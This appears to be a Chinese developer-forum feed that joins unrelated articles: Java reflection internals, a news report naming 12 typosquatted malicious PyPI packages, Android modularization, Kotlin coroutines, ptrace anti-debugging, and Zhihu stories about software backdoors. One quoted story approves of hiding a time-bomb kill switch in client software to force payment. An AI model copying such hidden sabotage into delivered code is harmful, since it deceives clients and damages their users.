比如,在接受澎湃新闻采访时,中国有色金属硅业分会专家委副主任吕锦标表示,本轮四川停限电政策对硅料整体产量影响不大:
只是减负荷,没有停车,系统物料仍然循环。当地主要的三家硅料生产商都很成熟,恢复起来很快。
四川限电减少的硅料供应量不大,不足以影响供求关系,目前新增产能释放,零售市场供需关系得以改善,但需要呼吁长单采购的龙头企业不要再到零售市场抢货,要不然还是会引发价格上扬。
参考链接:
[1]**https://www.sc.gov.cn/10462/10464/10797/2018/7/4/10454397.shtml
[2]**https://m.jiemian.com/article/7920810.html
[3]**https://www.sc.gov.cn/10462/10464/10797/2022/5/16/e8018d148c7149a484d81ba01394261c.shtml
[4]**http://www.nea.gov.cn/2022-07/08/c_1310639564.htm
[5]**https://mp.weixin.qq.com/s/Pt2CgRfW6N-WRcXo6Zp2IQ
[6]**https://ishare.ifeng.com/c/s/v0042lTJmoiuFAeZHmeeSFWhFg4KLfLJGFyHzqutC4Ggh8k__
来源:量子位
收起阅读 »在之前的文章和视频中我们拆分了不同的场景对比反射的性能。
文字版: 侧重于细节上的知识点更多、更加详细,揭秘反射真的很耗时吗,射 10 万次耗时多久
视频版: 通过动画展示讲解,更加的清楚、直观,视频版本 bilibili 地址: https://www.bilibili.com/video/BV1FL4y1F79R
在之前的文章中提到了一个提升性能非常重要的点,将 Accessible
设置 true
反射速度会进一步提升,如果单看一个程序,可能这点性能微不足道,但是如果放在一个大的复杂的工程下面,运行在大量的低端机下,一行代码提升的性能,可能比你写 100 行代码提升的性能更加显著。
而今天这篇文章从源码的角度分析一下 isAccessible()
方法的作用,为什么将 Accessible
设置为 true
可以提升性能,在开始分析之前,我们先写一段代码。
声明一个普通类,里面有个 public
方法 getName()
和 private
方法 getAddress()
class Person {
public fun getName(): String {
return "I am DHL"
}
private fun getAddress(): String {
return "BJ"
}
}
通过反射获取 getName()
和 getAddress()
方法,花 3 秒钟思考一下,下面的代码输出的结果
// public 方法
val method1 = Person::class.declaredFunctions.find { it.name == "getName" }
println("access = ${method1?.isAccessible}")
// private 方法
val method2 = Person::class.declaredFunctions.find { it.name == "getAddress" }
println("access = ${method2?.isAccessible}")
无论是调用 public getName()
方法还是调用 private getAddress()
方法,最后输出的结果都为 false
,通过这个例子也间接说明了 isAccessible()
方法并不是用来表示访问权限的。
当我们通过反射调用 private
方法时,都需要执行 setAccessible()
方法设置为 true
, 否者会抛出下面的异常。
java.lang.IllegalAccessException: can not access a member of class com.hi.dhl.demo.reflect.Person
如果通过反射调用 public
方法,不设置 Accessible
为 true
,也可以正常调用,所以有很多小伙伴认为 isAccessible()
方法用来表示访问权限,其实这种理解是错误的。
我们一起来看一下源码是如何解释的,方法 isAccessible()
位于 AccessibleObject
类中。
public class AccessibleObject implements AnnotatedElement {
......
// NOTE: for security purposes, this field must not be visible
boolean override;
public boolean isAccessible() {
return override;
}
public void setAccessible(boolean flag) throws SecurityException {
......
}
......
}
AccessibleObject
是 Field
、 Method
、 Constructor
的父类,调用 isAccessible()
返回 override
的值,而字段 override
主要判断是否要进行安全检查。
字段 override
在 AccessibleObject
子类当中使用,所以我们一起来看一下它的子类 Method
。
public Object invoke(Object obj, Object... args){
// 是否要进行安全检查
if (!override) {
// 进行快速验证是否是 Public 方法
if (!Reflection.quickCheckMemberAccess(clazz, modifiers)) {
// 返回调用这个方法的 Class
Class<?> caller = Reflection.getCallerClass();
// 做权限访问的校验,缓存调用这个方法的 Class,避免下次在做检查
checkAccess(caller, clazz, obj, modifiers);
}
}
......
return ma.invoke(obj, args);
}
字段 override
提供给子类去重写,它的值决定了是否要进行安全检查,如果要进行安全检查,则会执行 quickCheckMemberAccess()
快速验证是否是 Public
方法,避免调用 getCallerClass()
。
如果是 Public
方法,避免做安全检查,所以我们在代码中不调用 setAccessible(true)
方法,也不会抛出异常
如果不是 Public
方法则会调用 getCallerClass()
获取调用这个方法的 Class,执行 checkAccess()
方法进行安全检查。
// it is necessary to perform somewhat expensive security checks.
// A more complicated security check cache is needed for Method and Field
// The cache can be either null (empty cache)
volatile Object securityCheckCache; // 缓存调用这个方法的 Class
void checkAccess(Class<?> caller, Class<?> clazz, Object obj, int modifiers){
......
Object cache = securityCheckCache; // read volatile
if(cache == 调用这个方法的 Class){
return; // ACCESS IS OK
}
slowCheckMemberAccess(caller, clazz, obj, modifiers, targetClass);
......
}
void slowCheckMemberAccess(Class<?> caller, Class<?> clazz, Object obj, int modifiers,Class<?> targetClass){
Reflection.ensureMemberAccess(caller, clazz, obj, modifiers);
Object cache = 调用这个方法的 Class
securityCheckCache = cache; // 缓存调用这个方法的 Class
}
源码中注释也说明了,如果要进行安全检查那么它的代价是非常昂贵的,所以用变量 securityCheckCache
缓存调用这个方法的 Class。如果下次使用相同的 Class,就不需要在做安全检查,但是这个缓存有个缺陷,如果换一个调用这个方法的 Class,需要再次做安全检查,并且会覆盖之前的缓存结果。
如果要在运行时修改属性或者调用某个方法时,都要进行安全检查,而安全检查是非常消耗资源的,所以 JDK 提供了一个 setAccessible()
方法,可以绕过安全检查,让开发者自己来决定是否要避开安全检查。
因为反射本身是非常慢的,如果能够避免安全检查,可以进一步提升性能,在之前的文章 揭秘反射真的很耗时吗,射 10 万次耗时多久,针对不同场景,分别测试了反射前后以及关闭安全检查的耗时。
正常调用 | 反射 | 反射优化后 | 反射优化后关掉安全检查 | |
---|---|---|---|---|
创建对象 | 0.578 ms/op | 4.710 ms/op | 1.018 ms/op | 0.943 ms/op |
方法调用 | 0.422 ms/op | 10.533 ms/op | 0.844 ms/op | 0.687 ms/op |
属性调用 | 0.241 ms/op | 12.432 ms/op | 1.362 ms/op | 1.202 ms/op |
伴生对象 | 0.470 ms/op | 5.661 ms/op | 0.840 ms/op | 0.702 ms/op |
从测试结果可以看出来,执行 setAccessible()
方法,设置为 true
关掉安全检查之后,反射速度得到了进一步的提升,更接近于正常调用。
作者:程序员DHL
来源:https://juejin.cn/post/7121901090332737572
8月14日,Checkmarx(一家以色列高科技软件公司,世界上知名的代码安全扫描软件 Checkmarx CxSAST 的生产商)的研究人员发现,一位名为“devfather777”的网友发布了 12 个软件包,这些软件包被上传到 PyPi 存储库,并使用与其他流行软件包相似的名称来诱骗软件开发人员使用恶意版本,进而对俄罗斯反恐精英(Counter-Strike)1.6 服务器执行 DDoS 的仿冒攻击。
此次排版攻击依赖于开发人员使用错误的名称,导致使用了与合法软件包相似的恶意软件包。例如,此活动中的一些包及其合法对应包(括号中)是 Gesnim (Gensim)、TensorFolw (TensorFlow) 和 ipaddres (ipaddress)。
上传的恶意 PyPi 包的完整列表是:
Gesnim
Kears
TensorFolw
Seabron
tqmd
lxlm
mokc
ipaddres
ipadress
falsk
douctils
inda
由于软件开发人员通常通过终端获取这些包,因此很容易以错误的顺序输入其名称和字母。由于下载和构建按预期继续,受害者没有意识到错误并感染了他们的设备。
虽然 CheckMarx 向 PyPi 存储库报告了这些包,但在撰写本文时它们仍然在线。
在他们的应用程序中下载并使用这些恶意 Python 包之一后,setup.py 中的嵌入代码会运行以确认主机是 Windows 系统,如果是,它会从 GitHub 下载有效负载 (test.exe)。
隐藏在设置脚本中的代码 (Checkmarx)
在 VirusTotal(免费的可疑文件分析服务的网站)上扫描时,69 个防病毒引擎中只有 11 个将文件标记为恶意文件,因此它是一种用 C++ 编写的相对较新/隐蔽的恶意软件。
该恶意软件会自行安装并创建一个启动条目以在系统重新启动之间保持持久性,同时它还注入一个过期的系统范围的根证书。
接下来,它连接到硬编码的 URL 以接收其配置。如果第三次尝试失败,它会寻找对发送到 DGA(域生成算法)地址的 HTTP 请求的响应。
“这是我们第一次在软件供应链生态系统中看到恶意软件(菌株)使用 DGA,或者在这种情况下,使用 UGA 为恶意活动的新指令分配生成的名称,”Checkmarx 在报告中评论道。
攻击流程图 (Checkmarx)
在分析师观察到的案例中,配置命令恶意软件将主机招募到 DDoS 机器人中,该机器人开始向反恐精英(CounterStrike)1.6 服务器发送流量。
目标似乎是通过感染足够多的设备来关闭 Counter-Strike 服务器,以使发送的流量使服务器不堪重负。
用于托管恶意软件的 GitHub 存储库已被删除,但攻击者可以通过滥用不同的文件托管服务来恢复恶意操作。
如果你使用了上面提到的 12 个软件包,并且可能出现了打字错误,一定要仔细检查你的项目,确认是否使用了合法的软件包。
Pypi 被恶意攻击已非个例。早在今年 6 月,PyPi python 包就被曝发现将被盗的 AWS 密钥发送到不安全的站点。8 月 9 日,又有威胁分析人员在 PyPI 存储库中发现了 10 个恶意 Python 包,它们被用于窃取密码的恶意软件进而感染正在开发的系统。
Python Package Index (PyPi) 是一个包含超过 350000 个开源软件包的存储库,数百万开发人员可以轻松地将其整合到他们的 Python 项目中,以最小的努力构建复杂的应用程序。
由于开源,软件开发人员经常使用它来挑选基于 Python 的项目的构建块,或者与社区分享他们的工作。
但是,由于任何人都可以将包上传到存储库,并且包不会被删除,除非它们被报告为恶意,因此存储库更常被威胁者滥用,他们使用它来窃取开发人员凭据或部署恶意软件。虽然 PyPi 可以快速响应平台上的恶意包报告,但在提交之前由于缺少强有力的审查,因此危险包可能会潜伏一段时间。
参考链接:
作者:云昭
收起阅读 »模块化是将单一模块代码结构拆分为高内聚内耦合的多模块的一种编码实践。
模块化有以下好处:
模块化也可能会被滥用,需要注意以下问题:
需要注意的是没有单一的模块化方案,可以确保其对所有项目都适用。但是,可以遵循一般准则,可以尽可能的享受其好处并规避其缺点。
这里提到的模块,是指 Android 项目中的 module,通常会包含 Gradle 构建脚本、源代码、资源等,模块可以独立构建和测试。如下:
一般来说,模块内的代码应该争取做到低耦合、高内聚。
注:模块依赖图(如下)可以在模块化初期用于可视化各个模块之间的依赖关系。
Now in Android 项目中有以下几种类型的模块:
app
例如和应用程序级受控导航。一个很好的例子是通过导航设置和底部导航栏设置。该模块依赖于所有模块和必需的模块。feature-
模块: 功能特定的模块,其范围可以处理应用程序中的单一职责。这些模块可以在需要时被任何应用程序重用,包括测试或其他风格的应用程序,同时仍然保持分离和隔离。如果一个类只有一个feature
模块需要,它应该保留在该模块中。如果不是,则应将其提取到适当的core
模块中。一个feature
模块不应依赖于其他功能模块。他们只依赖于core
他们需要的模块。core-
模块:包含辅助代码和特定依赖项的公共库模块,需要在应用程序中的其他模块之间共享。这些模块可以依赖于其他核心模块,但它们不应依赖于功能模块或应用程序模块。sync
、benchmark
、 test
以及 app-nia-catalog
用于快速显示我们的设计系统的目录应用程序。基于以上模块化方案,Now in Android 应用程序包含以下模块:
模块名 | 职责 | 关键类及核心示例 |
---|---|---|
app | 将应用程序正常运行所需的所有内容整合在一起。这包括 UI 脚手架和导航。 | NiaApp, MainActivity 应用级控制导航通过 NiaNavHost, NiaTopLevelNavigation |
feature-1, feature-2 ... | 与特定功能或用户相关的功能。通常包含从其他模块读取数据的 UI 组件和 ViewModel。如:feature-author 在 AuthorScreen 上显示有关作者的信息。feature-foryou 它在“For You” tab 页显示用户的新闻提要和首次运行期间的入职。 | AuthorScreen AuthorViewModel |
core-data | 保存多个特性模块中的数据。 | TopicsRepository AuthorsRepository |
core-ui | 不同功能使用的 UI 组件、可组合项和资源,例如图标。 | NiaIcons NewsResourceCardExpanded |
core-common | 模块之间共享的公共类。 | NiaDispatchers Result |
core-network | 发出网络请求并处理对应的结果。 | RetrofitNiANetworkApi |
core-testing | 测试依赖项、存储库和实用程序类。 | NiaTestRunner TestDispatcherRule |
core-datastore | 使用 DataStore 存储持久数据。 | NiaPreferences UserPreferencesSerializer |
core-database | 使用 Room 的本地数据库存储。 | NiADatabase DatabaseMigrations Dao classes |
core-model | 整个应用程序中使用的模型类。 | Author Episode NewsResource |
core-navigation | 导航依赖项和共享导航类。 | NiaNavigationDestination |
Now in Android 项目中的模块化方案是在综合考虑项目的 Roadmap、即将开展的工作和新功能的情况下定义的。Now in Android 项目的目标是提供一个接近生产环境的大型 App 的模块化方案,并且要让方案看起来并没有过度模块化,希望是在两者之间找到一种平衡。
这种方法与 Android 社区进行了讨论,并根据他们的反馈进行了改进。这里并没有一个绝对的正确答案。归根结底,模块化 App 有很多方法和方法,没有唯一的灵丹妙药。这就需要在模块化之前考虑清楚目标、要解决的问题已经对后续工作的影响,这些特定的情况会决定模块化的具体方案。可以绘制出模块依赖关系图,以便帮助更好地分析和规划。
这个项目就是一个示例,并不是一个需要固守不可改变固定结构,相反而是可以根据需求就行变化的。根据 Now in Android 这是我们发现最适合我们项目的一般准则,并提供了一个示例,可以在此基础上进一步修改、扩展和构建。如果您的数据层很小,则可以将其保存在单个模块中。但是一旦存储库和数据源的数量开始增长,可能值得考虑将它们拆分为单独的模块。
最后,官方对其他方式的模块化方案也是持开发态度,有更好的方案及建议也可以反馈出来。
以上内容是根据 Modularization learning journey 翻译整理而得。整体上是提供了一个示例,对一些初学者有一个可以参考学习的工程,对社区中模块化开发起到的积极的作用。说实话,这部分技术在国内并不是什么新技术了。
下面讲一个我个人对这个模块化方案的理解,以下是个人观点,请批判性看待。
首先是好的点提供了通用的 Gradle 配置,简化了各个模块的配置步骤,各种方式预计会在之后的一些项目中流行开来。
不足的点就是没有明确模块化的整体策略,是应采取按照功能还是按照特性分,类似讨论还有我们平时的类文件是按照功能来分还是特性来分,如下是按照特性区分:
# DO,建议方式
- Project
- feature1
- ui
- domain
- data
- feature2
- ui
- domain
- data
- feature3
按照功能区分的方式大致如下:
# DO NOT,不建议方式
- Project
- ui
- feature1
- feature2
- feature3
- domain
- feature1
- feature2
- feature3
- data
我个人是倾向去按照特性的方式区分,而示例中看上去是偏后者,或者是一个混合体,比如有的模块是添加 feature
前缀的,但是 core-model
模块又是在统一的一个模块中集中管理。个人建议的方式应该是将各个模块中各自使用的模型放到自己的模块中,否则项目在后续进行组件化时将会遇到频繁发版的问题。当然,这种方式在模块化的阶段并没有什么大问题。
模块化之后就是组件化,组件化之后就是壳工程,每个技术阶段对应到团队发展的阶段,有机会的话后面可以展开聊聊。
作者:madroid
链接:https://juejin.cn/post/7128069998978793509
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
在 Java 与 Kotlin 混编项目中大概率是会遇到 Kotlin 线程的使用问题。协程的混编相对于其他特性的使用上会相对麻烦而且比较容易踩坑。我们以获取 token 来举例,比如有一个获取 token 的 suspend 函数:
// 常规的 suspend 函数,可以供 Kotlin 使用,Java 无法直接使用
suspend fun getTokenSuspend(): String {
// do something too long
return "Token"
}
想要在 Java 中直接调用则会产出如下错误:
了解 Kotlin 协程机制的同学应该知道 suspend 修饰符在 Kotlin 编译器期会被处理成对应的 Continuation 类,这里不展开讨论。
这个问题也可以使用简单的方式进行解决,那就是使用 runBlocking 进行简单包装一下即可。
一般情况下我们可能会使用以下代码解决上述问题。定义的 Kotlin 协程代码如下:
// 提供给 Java 使用的封装函数,Java 代码可以直接使用
fun getTokenBlocking(): String =runBlocking{// invoke suspend fun
getTokenSuspend()
}
在 Java 层代码的使用方式大致如下:
public void funInJava() {
String token = TokenKt.getTokenBlocking();
}
看上去方案比较简单,但是直接使用 runBlocking 也会存在一些隐患。 runBlocking 会阻塞当前调用者的线程,如果是在主线程进行调用的话,会导致 App 卡顿,严重的会导致 ANR 问题。那有没有比 runBlocking 更合理的解决方案呐?
回答这个问题之前,先梳理下 Java 与 Kotlin 两种语言在处理耗时函数的一般做法。
Java
@WorkerThread
注解,让 lint 帮助使用者去做一些检查,确保不会在主线程中去调用一些耗时函数导致页面卡顿。Kotlin
在 Java 与 Kotlin 混编的项目中,上述情况的复杂度将会上升。
在审视一下 runBlocking 的使用问题,这种做法是将 Kotlin 中的语法约束退化到语义约束层面了,有的可能连语义层面的约束都没有,这种情况只能祈求调用者的使用是正确的 -- 在子线程调用,而不是在主线程调用。那应该如何怎么处理,就是采用回调的方式,让语法能够规避的问题就不要采用语义来处理。
suspend fun getToken(): String {
// do something too long
return "Token"
}
fun getTokenFuture(): CompletableFuture<String> {
returnCoroutineScope(Dispatchers.IO).future{getToken()}
}
注意:future 是 org.jetbrains.kotlinx:kotlinx-coroutines-jdk8
包中提供的工具类,基于 CoroutineScope
定义的扩展函数,使用时需要导入依赖包。
Java 中的使用方式如下:
public void funInJava() {
try {
// 通过 Future get() 显示调用 getTokenFuture 函数
TestKt.getTokenFuture().get();
} catch (ExecutionException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
可能会问这里看上去和直接在函数内部使用 runBlocking 没有太大的区别,反而使用上会更麻烦些。的确是这样的,这样的目的是把选择权交给调用者,或者说让调用者显示的知道这不是一个简单的函数,从而提高其在使用 API 时的警惕度,也就是之前提到的从语法层面对 API 进行约束。
退一步说,上述的内容是针对的仅仅是“不得不”这么做的场景,但是对于大部分场景都是可以通过合理的设计来避免出现上述情况:
viewModelScope
中调用解决;尽量使用合理的设计来尽量规避 Kotlin 协程与 Java 混用的情况,在 API 的定义上语法约束优先与语义约束,语义约束优于没有任何约束。当然在特殊的情况下也可以使用 CompletableFuture
API 来封装协程相关 API。
下面对几种常见场景推荐的一些写法:
runBlocking
;我们日常开发中,永远离不开debug调试,断点技术一直是我们排查bug的有力手段之一!随着网络安全意识的逐步提高,对app安全的要求就越来越高,反调试的技术也渐渐深入我们开发者的眼帘,那么我们来具体看看,android中,同时也是linux内核中,是怎么处理调试程序的!
无论是断点还是其他debug手段,其实都可以总结为一个技术手段,就是执行跟踪,含义就是一个程序监视另一个程序的技术,被跟踪的程序通过一步步执行,知道收到一个信号或者系统调用停止!
在linux内核中,就是通过ptrace系统调用进行的执行跟踪
#include <sys/ptrace.h>
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
随着我们对linux的了解,那么就离不开对权限的讨论!一个程序跟踪另一个程序这种东西,按照linux风格,肯定是具有某种权限才可以执行!这个权限就是设置了CAP_SYS_PTRACE 权限的进程,就可以跟踪系统中除了init进程(linux第一个进程)外的任何进程!当然!就算一个进程没有CAP_SYS_PTRACE权限,也可以跟踪一个与被监视进程有相同属组的进程,比如父进程可以通过ptrace跟踪子进程!执行跟踪还有一个非常重要的特点,就是两个进程不能同时跟踪一个进程!
我们再回到ptrace函数调用,可以看到第一个参数是一个枚举值,其实就是发出ptrace的当前行为,它有以下可选命令(仅部分举例):
其他的参数含义如下:
pid参数标识目标进程,addr参数表明执行peek(读操作)和poke(写操作)操作的地址,data参数则对于poke操作,指明存放数据的地址,对于peek操作,指明获取数据的地址。
我们了解了linux提供的系统api,那么我们还是从设计者角度出发,我们想要跟踪一个进程的话,我们需要干点什么?来来来,我们来想一下,可能就会有以下几个问题吧
下面我们逐步去探讨一下这几个问题吧!(以PTRACE_ATTACH 作为例子)首先对于问题1,我们怎么建立起被跟踪进程与跟踪进程之间的联系呢?linux中进程存在父子关系,兄弟关系对吧!这些进程就可以通过相对便捷的方式进行通信,同时linux也有定义了特殊的信号提供给父子进程的通信。看到这里,相信大家能够猜到ptrace究竟干了啥!就是通过调用ptrace系统调用,把被跟踪进程(第二个参数pid)的进程描述符号中的p_pptr字段指向了跟踪进程!毕竟linux判断进程的描述,就靠着进程描述符,想要建立父子关系,修改进程描述符即可,就这么简单!这里补充一下部分描述符号:
那么好!我们建立进程之间的联系了,那么当执行跟踪终止的时候,我们就可以调用ptrace 第一个参数为PTRACE_DETACH 命令,把p_pptr恢复到原来的数据即可!(那么有人会问,原来的父进程描述符保存在哪里了,嘿嘿,在p_opptr中,也就是他的祖先中,这里我们不深入讨论)
接下来我们来讨论一下问题2和问题3,怎么使程序停止呢?(这里我们讨论常用的做法,以linux内核2.4版本为准,请注意细微的区别)其实就是被监控进程在读取指令前,就会执行被嵌入的监控代码,如果我想要停止在代码的某一行,这个时候cpu会执行一条“陷阱指令”也称为Debug指令,一般来说,这条指令作用只是为了使程序停止,然后发出一个SIGCHLD信号给父进程(不了解信号的知识可以看看这篇),嘿嘿,那么这个父进程是谁呢?没错,就是我们刚刚改写的监控进程,这样一来,我们的监控进程就能够收到被监控进程的消息,此时就可以继续调用其他的ptrace调用(第一个参数指定为其他需要的枚举值),查看当前寄存器或者其他的数据
这么说下来可能会有人还是不太懂,我们举个例子,我们的单步调试是怎么样做的:
还是上面的步骤,子进程发送一个SIGCHLD给父进程,此时身为父进程的监控线程就可以再调用ptrace(PTRACE_SINGLESTEP, *, *, * )方法给子进程的下一条指令设置陷阱指令,进行单步调试,此时控制权又会给到子进程,子进程执行完一个指令,就会又发出SIGCHLD给父进程,如此循环下去!
最近隐私合规与app安全性能被各大app所重视,对于app安全性能来说,反调试肯定是最重要的一环!看到上面的这些介绍,我们应该也明白了ptrace的作用,下面我们介绍一下几种常见的反调试方案:
Name: test\
Umask: 0022\
State: D (disk sleep)-----------------------表示此时线程处于sleeping,并且是uninterruptible状态的wait。
Tgid: 157-----------------------------------线程组的主pid\
Ngid: 0\
Pid: 159------------------------------------线程自身的pid\
PPid: 1-------------------------------------线程组是由init进程创建的。\
TracerPid: 0\ **这里是关键**
Uid: 0 0 0 0\
Gid: 0 0 0 0\
FDSize: 256---------------------------------表示到目前为止进程使用过的描述符总数。\
Groups: 0 10 \
VmPeak: 1393220 kB--------------------------虚拟内存峰值大小。\
VmSize: 1390372 kB--------------------------当前使用中的虚拟内存,小于VmPeak。\
VmLck: 0 kB\
VmPin: 0 kB\
VmHWM: 47940 kB-----------------------------RSS峰值。\
VmRSS: 47940 kB-----------------------------RSS实际使用量=RSSAnon+RssFile+RssShmem。\
RssAnon: 38700 kB\
RssFile: 9240 kB\
RssShmem: 0 kB\
VmData: 366648 kB--------------------------进程数据段共366648KB。\
VmStk: 132 kB------------------------------进程栈一共132KB。\
VmExe: 84 kB-------------------------------进程text段大小84KB。\
VmLib: 11488 kB----------------------------进程lib占用11488KB内存。\
VmPTE: 1220 kB\
VmPMD: 0 kB\
VmSwap: 0 kB\
Threads: 40-------------------------------进程中一个40个线程。\
SigQ: 0/3142------------------------------进程信号队列最大3142,当前没有pending
如果TracerPid不为0,那么就存在被监控的进程,此时如果该进程不是我们所信任的进程,就调用我们指定好的程序重启即可!读取这个proc/pid/status文件涉及到的相关处理可以自行google,这里就不再重复列举啦!
看到这里,我们也能够明白debug在linux内核中的处理流程啦!最后,点个赞再走呗!
逛知乎的时候,看到了这么一个问题:
我看到了三个非常有意思的回答,分享给大家一看。
首先是这个为了防止项目交付后收不到尾款埋下后门的回答:
早年给某台企做外包项目,定制一个Android系统的ROM。开发费用16万,一年期维护费用2万。开发费用分三期打款,订金4万,生产环境ROM交付8万,验收并交付源码后打尾款4万。
生产环境ROM交付前留了一手,加了时间戳校验,混杂在驱动程序里,6个月后不能开机。
果不其然,过了4个月对方也没把尾款打过来,显然是用着没什么毛病,源码不打算要了,维护费用也一起省了。每次催款都用各种理由搪塞。
又过了2个月,埋的雷爆了,他们的下游客户开始各种投诉。这才把剩余款项收回来。
懒得说这家公司的名字,挺有名的公司,估计很多人用过他们的产品。
如果不留这一手,估计就要吃哑巴亏了,毕竟台湾省的官司打起来费劲儿。在这种情况下,这叫自我保护,不违法。
原回答链接:https://www.zhihu.com/question/531724027/answer/2487270093
这个回答让我想起了多年前我接私活的时候,给别人开发的软件交付后就玩消失的经历,那时候年轻,不知道做个时间限制啥的···不说了,说多了都是泪。
话说回来,真像这位答主这样弄个后门,违不违法,答主说了不算,还得具体问题具体分析,法院说了才算,不过这种做法还是比较危险,慎重。
那到底法律如何界定这种问题呢,来看一下网络安全界的大佬TK教主的回答:
我国没有仅针对后门本身进行处罚的法律。主要原因是“后门”难以客观界定。 比如,自动更新机制是不是后门?热补丁机制是不是后门?远程维护机制是不是后门?家里宽带有问题,你打运营商客服电话,运营商那边就能远程调整你的光猫——这是不是后门?
所以现在法律在处理后门相关问题时,是根据利用行为定罪的。你留了后门,一辈子不用,没事。用来干坏事了,那就根据你具体干了什么坏事定罪量刑。
原回答链接:https://www.zhihu.com/question/531724027/answer/2539891264
代码里面藏后门属于初级玩家,来看一下高级的后门长啥样:
Ken Thompson在贝尔实验室的时候,他总是能在一台装了Unix的服务器上黑进他人的账户,不管他人怎么修改账户密码都没有用,当时贝尔实验室里面聚集的都是智商爆表、专业知识过硬的科学家,Ken的行为无疑让他们非常不爽。 有个人分析了Unix的代码之后,找到了后门,重新编译部署了Uinx,但是让他们崩溃的事情再次发生,Ken还是能黑进他们的账户,这个事情让他们百思不得其解。
一直到1983年,Ken获得图灵奖,在大会上解开了这个秘密,原来这个密码后门是通过他写的一个C编译器植入的,而当时那台Unix的机器必须通过这个C编译器编译之后才能运行,所以不管unix怎么修改都没有用,毕竟是要编译的。
前几年发生的Xcode Ghost事件,就是用类似的方式操作的,所以真正的大神留的黑洞,一般人根本防不住,除非遇到同样的大神,而且人家告诉你在哪里了,才有可能破解。这就是为啥有的单位,人家不连外网,因为根本不知道装的系统有没有别人留下的漏洞。
低级的代码层次
中级的在工具链上
高级的在编译器层次
终极的在机器内部,这个根本防不胜防。
所以对程序员好一点。
原回答链接:https://www.zhihu.com/question/531724027/answer/2487130220
这让我想起了不久前发生的一件事:有黑客组织在IDA里面投毒。IDA是安全人员逆向分析的重要软件,给这里面投毒,属于定向攻击搞安全的人了,真是防不胜防啊。
收起阅读 »在Android开发中,我们可以使用shape定义各种各样的形状,也可以定义一些图片资源。相对于传统
图片来说,使用shape可以减少资源占用,减少安装包大小,还能够很好地适配不同尺寸的手机。
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<!-- 圆角属性-->
<corners
android:bottomLeftRadius="10dp"
android:bottomRightRadius="10dp"
android:radius="5dp"
android:topLeftRadius="15dp"
android:topRightRadius="15dp" />
<!-- 渐变属性-->
<gradient
android:angle="-45"
android:centerColor="#ff0099"
android:centerX="20"
android:centerY="30"
android:endColor="#80FF00"
android:gradientRadius="45dp"
android:startColor="#FF0089BD"
android:type="linear"
android:useLevel="false" />
<!-- 边距属性-->
<padding
android:bottom="12dp"
android:left="10dp"
android:right="15dp"
android:top="10dp" />
<!--大小属性-->
<size
android:width="200dp"
android:height="200dp" />
<!-- 填充属性-->
<!-- <solid android:color="#ffff9d"/>-->
<!-- 描边属性-->
<stroke
android:width="2dp"
android:color="#dcdcdc" />
</shape>
Shape可以定义控件的一些展示效果,例如圆角,渐变,填充,描边,大小,边距; shape 子标签就可以实现这些效果, shape 子标签有下面几个属性:corners,gradient,padding,size,solid,stroke:
<corners //定义圆角
android:radius="10dp" //全部的圆角半径;
android:topLeftRadius="5dp" //左上角的圆角半径;
android:topRightRadius="5dp" //右上角的圆角半径;
android:bottomLeftRadius="5dp" //左下角的圆角半径;
android:bottomRightRadius="5dp" /> //右下角的圆角半径。
<solid android:color="#ffff00"/> //内部填充色
<gradient
android:type=["linear" | "radial" | "sweep"] //共有3中渐变类型,线性渐变
(默认)/放射渐变/扫描式渐变;
android:angle="90" //渐变角度,必须为45的倍数,0为从左到右,90为从上到下;
android:centerX="0.5" //渐变中心X的相当位置,范围为0~1;
android:centerY="0.5" //渐变中心Y的相当位置,范围为0~1;
android:startColor="#24e9f2" //渐变开始点的颜色;
android:centerColor="#2564ef" //渐变中间点的颜色,在开始与结束点之间;
android:endColor="#25f1ef" //渐变结束点的颜色;
android:gradientRadius="5dp" //渐变的半径,只有当渐变类型为radial时才能使用;
android:useLevel="false" /> //使用LevelListDrawable时就要设置为true。设为
false时才有渐变效果。
<stroke
android:width="1dp" //描边的宽度
android:color="#ff0000" //描边的颜色
// 以下两个属性设置虚线
android:dashWidth="1dp" //虚线的宽度,值为0时是实线
android:dashGap="1dp" />//虚线的间隔
<padding
android:left="10dp" //左内边距;
android:top="10dp" //上内边距;
android:right="10dp" //右内边距;
android:bottom="10dp" /> //下内边距。
<size
android:width="50dp" //宽度
android:height="50dp" />// 高度
Shape可以定义当前Shape的形状的,比如矩形,椭圆形,线形和环形;这些都是通过 shape 标签属性来定义的, shape 标签有下面几个属性:rectangle,oval,line,ring:
<shape xmlns:android="http://schemas.android.com/apk/res/android"
//shape的形状,默认为矩形,可以设置为矩形(rectangle)、椭圆形(oval)、线性形状(line)环形(ring)
android:shape=["rectangle" | "oval" | "line" | "ring"]
//下面的属性只有在android:shape="ring"时可用:
android:innerRadius="10dp" // 内环的半径;
android:innerRadiusRatio="2" // 浮点型,以环的宽度比率来表示内环的半径;
android:thickness="3dp" // 环的厚度;
android:thicknessRatio="2" // 浮点型,以环的宽度比率来表示环的厚度;
android:useLevel="false"> // boolean值,如果当做是LevelListDrawable使用时值为
true,否则为false。
</shape>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<solid android:color="@color/colorPrimary"/>
</shape>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="oval">
<solid android:color="@color/colorPrimary"/>
<size android:height="100dp"
android:width="100dp"/>
</shape>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="line">
<stroke
android:width="1dp"
android:color="@color/colorAccent"
android:dashGap="3dp"//虚线间距
android:dashWidth="4dp"/>//虚线宽度
<size android:height="3dp"/>
</shape>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="ring"
android:useLevel="false"
android:innerRadius="20dp" // 内环的半径
android:thickness="10dp"> // 圆环宽度
<!--useLevel需要设置为false-->
<solid android:color="@color/colorAccent"/>
</shape>
//参考 1.shape属性
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<!-- 圆角属性-->
<corners ... />
<!-- 渐变属性-->
<gradient ... />
<!-- 边距属性-->
<padding ... />
<!--大小属性-->
<size ... />
<!-- 描边属性-->
<stroke ... />
</shape>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
